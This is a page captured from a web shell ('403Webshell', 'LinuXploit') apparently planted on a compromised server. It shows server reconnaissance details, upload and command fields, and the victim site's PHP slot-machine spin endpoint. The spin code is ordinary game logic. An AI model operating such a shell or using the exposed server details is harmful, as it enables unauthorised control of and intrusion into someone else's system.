403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/arni-solutions.de/web/slots/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/arni-solutions.de/web/slots/api/spin.php
<?php
require_once __DIR__ . '/../includes/bootstrap.php';
header('Content-Type: application/json; charset=utf-8');

$user = current_user();
if (!$user) {
    http_response_code(401);
    echo json_encode(['ok' => false, 'message' => 'Nicht eingeloggt.']);
    exit;
}

$payload = json_decode(file_get_contents('php://input'), true) ?: [];
if (!csrf_verify($payload['csrf'] ?? ($_SERVER['HTTP_X_CSRF'] ?? null))) {
    http_response_code(403);
    echo json_encode(['ok' => false, 'message' => 'Sicherheitstoken ungültig. Bitte neu laden.']);
    exit;
}

update_playtime_ping((int)$user['id']);
$config = app_config();

$gameId = preg_replace('/[^a-z_]/', '', (string)($payload['game'] ?? ''));
$game = get_game($gameId);
if (!$game) {
    http_response_code(400);
    echo json_encode(['ok' => false, 'message' => 'Unbekanntes Spiel.']);
    exit;
}

$maxLines  = (int)($game['max_lines'] ?? 10);
$lineCount = max(1, min($maxLines, (int)($payload['lines'] ?? $maxLines)));
$level     = (int)($payload['level'] ?? 1);
if (!in_array($level, $config['bet']['level_options'], true)) {
    $level = 1;
}
$betPerLine = $level * (float)$config['bet']['coin_value'];

$pdo = db();
$pdo->beginTransaction();
try {
    $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ? FOR UPDATE');
    $stmt->execute([(int)$user['id']]);
    $user = $stmt->fetch();
    if (!$user) {
        throw new RuntimeException('Spieler nicht gefunden.');
    }
    if ((int)($user['banned'] ?? 0) === 1) {
        throw new RuntimeException('Dein Konto ist gesperrt.');
    }
    // Spielerindividueller Gewinnfaktor (Admin) auf die Auszahlungsstaffel
    $game['pay_scale'] = (float)($game['pay_scale'] ?? 1) * player_rtp_factor($user);

    $hasFreeSpins = (int)$user['free_spins'] > 0;
    $fsGame = $_SESSION['fs_game'] ?? null;
    $feature = $game['feature'] ?? ['type' => 'expanding'];
    $type = $feature['type'] ?? 'expanding';

    // Verwaiste Freispiele (z.B. aus der Alt-Installation /slot) ins aktuelle Spiel übernehmen
    $adopted = false;
    if ($hasFreeSpins && !$fsGame) {
        $fsGame = $gameId;
        $_SESSION['fs_game']  = $gameId;
        $_SESSION['fs_total'] = (int)$user['free_spins'];
        $_SESSION['fs_win']   = 0.0;
        $adopt = ['tier' => 0, 'collected' => 0, 'walk' => [], 'special' => null];
        $adopt['lucky'] = game_pick_lucky($game);   // Glückssymbol für die FS-Runde (alle Spiele)
        if ($type === 'expanding') {
            $normals = game_symbols_of_type($game, ['normal']);
            $adopt['special'] = $normals ? $normals[array_rand($normals)] : null;
        }
        $_SESSION['fs_state'] = $adopt;
        $adopted = true;
    }

    // Freispiele sind an ihr Spiel gebunden
    if ($hasFreeSpins && $fsGame && $fsGame !== $gameId) {
        throw new RuntimeException('Beende zuerst deine Freispiele im anderen Spiel.');
    }
    $isFree = $hasFreeSpins && $fsGame === $gameId;

    $totalBet = $isFree ? 0.0 : round($betPerLine * $lineCount, 2);
    if (!$isFree && (float)$user['balance'] < $totalBet) {
        throw new RuntimeException('Nicht genug Coins für diesen Spin.');
    }

    // --- Feature-State (Session) ---
    $fs = $_SESSION['fs_state'] ?? [];
    $special = $isFree ? ($fs['special'] ?? null) : null;
    $lucky   = $isFree ? ($fs['lucky'] ?? null) : null;

    // Multiplikator für DIESEN Freispin festlegen (geteilte Engine-Logik)
    $spinMult = $isFree ? game_fs_spin_mult($game, $fs) : 1.0;

    $grid = game_generate_grid($game, ['is_free_spin' => $isFree]);
    $result = game_evaluate($game, $grid, $lineCount, $betPerLine, [
        'is_free_spin'  => $isFree,
        'special'       => $special,
        'lucky'         => $lucky,
        'feature_state' => [
            'mult' => $spinMult,
            'walk' => $isFree ? ($fs['walk'] ?? []) : [],
        ],
    ]);

    // Hold & Respin: Löst der Basis-Dreh Freispiele mit >=3 Freispielsymbolen aus (und noch
    // nicht alle Walzen), werden die Scatter-Walzen GEHALTEN und die übrigen EINMAL neu gedreht
    // → Chance auf weitere Freispielsymbole (4./5. = mehr Freispiele). Neu-Auswertung auf dem
    // Ergebnis-Grid; gehaltene Scatter bleiben erhalten, Freispielzahl kann nur steigen.
    $respinInfo = null;
    if (!$isFree && (int)$result['free_spins_won'] > 0) {
        $reels = (int)$game['reels']; $rows = (int)$game['rows'];
        $scCount = (int)$result['scatter_count'];
        if ($scCount >= 3 && $scCount < $reels) {
            $firstGrid = $result['grid'];
            $held = [];
            foreach (game_positions_of($game, $firstGrid, 'scatter') as $p) { $held[(int)$p[0]] = true; }
            $newGrid = game_generate_grid($game, ['is_free_spin' => false]);
            $respinGrid = $firstGrid;
            for ($c = 0; $c < $reels; $c++) {
                if (isset($held[$c])) continue;                 // Scatter-Walze halten
                for ($r = 0; $r < $rows; $r++) { $respinGrid[$r][$c] = $newGrid[$r][$c]; }
            }
            $result = game_evaluate($game, $respinGrid, $lineCount, $betPerLine, [
                'is_free_spin' => false, 'special' => null, 'lucky' => null,
                'feature_state' => ['mult' => 1.0, 'walk' => []],
            ]);
            $respinInfo = ['first_grid' => $firstGrid, 'held' => array_map('intval', array_keys($held))];
        }
    }
    $grid = $result['grid'];

    $freeSpinsWon = (int)$result['free_spins_won'];
    $spentFree = $isFree ? 1 : 0;
    $newFreeSpins = max(0, (int)$user['free_spins'] - $spentFree) + $freeSpinsWon;

    $totalWin = (float)$result['total_win'];

    // --- Feature-State & Freispiel-Session fortschreiben ---
    $newFs = $fs;
    $fsEntered = $adopted;
    if (!$isFree && $freeSpinsWon > 0) {
        // Freispiele aus dem Basisspiel neu ausgelöst
        $newFs = ['tier' => 0, 'collected' => 0, 'walk' => [], 'special' => null];
        $newFs['lucky'] = game_pick_lucky($game);   // neues Glückssymbol für die FS-Runde
        if ($type === 'expanding') {
            $normals = game_symbols_of_type($game, ['normal']);
            $newFs['special'] = $normals ? $normals[array_rand($normals)] : null;
        }
        $_SESSION['fs_game']  = $gameId;
        $_SESSION['fs_total'] = $freeSpinsWon;
        $_SESSION['fs_win']   = 0.0;
        $fsEntered = true;
    } elseif ($isFree) {
        // laufender Freispin
        $newFs = game_advance_fs($game, $fs, $result, $grid);
        $_SESSION['fs_win'] = round((float)($_SESSION['fs_win'] ?? 0) + $totalWin, 2);
        if ($freeSpinsWon > 0) {
            $_SESSION['fs_total'] = (int)($_SESSION['fs_total'] ?? 0) + $freeSpinsWon;
        }
    }
    $_SESSION['fs_state'] = $newFs;

    $fsTotal  = (int)($_SESSION['fs_total'] ?? 0);
    $fsPlayed = max(0, $fsTotal - $newFreeSpins);
    $fsEnded  = false;
    $fsSessionWin = 0.0;
    $fsActive = $newFreeSpins > 0 || $isFree;
    if (($isFree || $adopted) && $newFreeSpins === 0) {
        // letzter Freispin gespielt → Session beenden
        $fsEnded = true;
        $fsSessionWin = round((float)($_SESSION['fs_win'] ?? 0), 2);
        $fsActive = false;
        unset($_SESSION['fs_game'], $_SESSION['fs_state'], $_SESSION['fs_total'], $_SESSION['fs_win']);
    }
    $newBalance = round((float)$user['balance'] - $totalBet + $totalWin, 2);
    $totalWagered = round((float)$user['total_wagered'] + $totalBet, 2);
    $totalWon = round((float)$user['total_won'] + $totalWin, 2);
    $ratio = $totalBet > 0 ? round($totalWin / $totalBet, 2) : (float)$user['best_win_ratio'];
    $bestRatio = max((float)$user['best_win_ratio'], $ratio);
    $biggest = max((float)$user['biggest_single_win'], $totalWin);

    $pdo->prepare('UPDATE users SET balance=?, free_spins=?, free_spin_special_symbol=?, total_wagered=?, total_won=?, biggest_single_win=?, best_win_ratio=?, last_seen_at=NOW() WHERE id=?')
        ->execute([$newBalance, $newFreeSpins, $newFreeSpins > 0 ? ($newFs['special'] ?? null) : null, $totalWagered, $totalWon, $biggest, $bestRatio, (int)$user['id']]);

    $pdo->prepare('INSERT INTO spins (user_id, mode_name, line_count, bet_per_line, total_bet, total_win, scatter_count, free_spins_won, free_spins_after, is_free_spin, free_spin_special_symbol, jackpot_bet, wins_json, grid_json, created_at) VALUES (?,?,?,?,?,?,?,?,?,?,?,0,?,?,NOW())')
        ->execute([
            (int)$user['id'], $gameId, $lineCount, $betPerLine, $totalBet, $totalWin,
            (int)$result['scatter_count'], $freeSpinsWon, $newFreeSpins, $isFree ? 1 : 0,
            $newFreeSpins > 0 ? ($newFs['special'] ?? null) : null,
            json_encode($result['wins'], JSON_UNESCAPED_UNICODE),
            json_encode($grid, JSON_UNESCAPED_UNICODE),
        ]);

    // Verdopplungsspiel vorbereiten: nur Basisspiel-Gewinne, wenn aktiviert
    if (!$isFree && $totalWin > 0 && gamble_enabled()) {
        $_SESSION['gamble'] = ['amount' => round($totalWin, 2), 'steps' => 0, 'game' => $gameId];
    } else {
        unset($_SESSION['gamble']);
    }

    $pdo->commit();

    echo json_encode([
        'ok'            => true,
        'game'          => $gameId,
        'gamble_available' => isset($_SESSION['gamble']),
        'grid'          => $grid,
        'wins'          => $result['wins'],
        'total_win'     => round($totalWin, 2),
        'total_bet'     => $totalBet,
        'bet_per_line'  => $betPerLine,
        'line_count'    => $lineCount,
        'balance'       => $newBalance,
        'free_spins'    => $newFreeSpins,
        'free_spins_won'=> $freeSpinsWon,
        'is_free_spin'  => $isFree,
        'special'       => $newFreeSpins > 0 ? ($newFs['special'] ?? null) : null,
        'fs_total'       => $fsTotal,
        'fs_played'      => $fsPlayed,
        'fs_active'      => $fsActive,
        'fs_entered'     => $fsEntered,
        'fs_ended'       => $fsEnded,
        'fs_session_win' => $fsSessionWin,
        'fs_collected'   => (int)($newFs['collected'] ?? 0),
        'scatter_count' => (int)$result['scatter_count'],
        'meta'          => $result['meta'],
        'respin'        => $respinInfo,
        'spin_mult'     => $spinMult,
    ], JSON_UNESCAPED_UNICODE);
} catch (Throwable $ex) {
    if ($pdo->inTransaction()) {
        $pdo->rollBack();
    }
    http_response_code(400);
    echo json_encode(['ok' => false, 'message' => $ex->getMessage()]);
}

Youez - 2016 - github.com/yon3zu
LinuXploit